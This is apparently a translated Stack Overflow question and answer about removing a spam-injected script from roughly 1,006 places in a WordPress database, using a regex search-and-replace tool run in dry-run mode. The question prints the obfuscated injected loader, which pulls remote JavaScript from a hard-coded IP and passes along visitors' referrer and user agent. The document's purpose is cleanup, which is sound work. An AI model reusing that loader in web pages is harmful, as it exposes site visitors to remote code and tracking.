我有一个我正在使用的网站,最近被垃圾邮件注入(inject)攻击。现在一切都已安全,但我的任务是清理放在每个页面上的脚本的剩余部分。我面临的问题是,在整个黑客攻击过程中使用了特殊字符,转义特殊字符被证明是非常具有挑战性的。
我也在使用查询构建器,但即便如此我也感到困惑。
我要删除的代码是这样的:
<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php'.split('|'),0,{}))
如您所见,一旦我开始转义字符,我就开始迷路了。我想知道是否有人遇到过这个问题并找到了更简单的方法。
我已经成功地直接在数据库中手动删除了代码,但不幸的是,大约有 1006 个位置,这需要很长时间。
最佳答案
不幸的是,使用直接 SQL 查询修改 Wordpress 数据库可能会破坏 PHP 序列化的字符串和对象。因此,即使您想出了完美的搜索词,也不要那样做。
相反,您可以试试这个很棒的 Search Replace DB工具。确保您遵循他们关于谨慎使用脚本的所有请求,尤其是:先备份,使用非常隐蔽的目录名称,并在完成后立即删除文件夹。还要确保您正在运行 php-mbstring。
Web 界面非常好,但根据服务器设置,它可能无法工作。不过,还有一个命令行界面。要使用它,请cd
进入包含该工具的文件夹。 README.md
文件中有 CLI 版本的文档。这是解决您的情况的命令的基本形式,您需要对其进行测试和调整以匹配您的数据库设置:
php srdb.cli.php --host localhost.or.dbserver --name dbnamehere --user dbuserhere --pass 'dbpasswordhere' --search '/\<noindex\>\<script id\=\"wpinfo\-pst1\".*?<\\/noindex>/s' --replace '' --regex --dry-run
我喜欢这个工具的 --dry-run
功能,它在上面的代码中设置。在你完成大量试运行并确信你正在做你打算做的事情之后,从命令行中删除该选项(或者如果你在网络界面中取消选中“试运行”框)并且替换将实际发生。然后,记住,将工具取下,以免其他人使用它。
关于database - 使用特殊字符的复杂查询,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/48234983/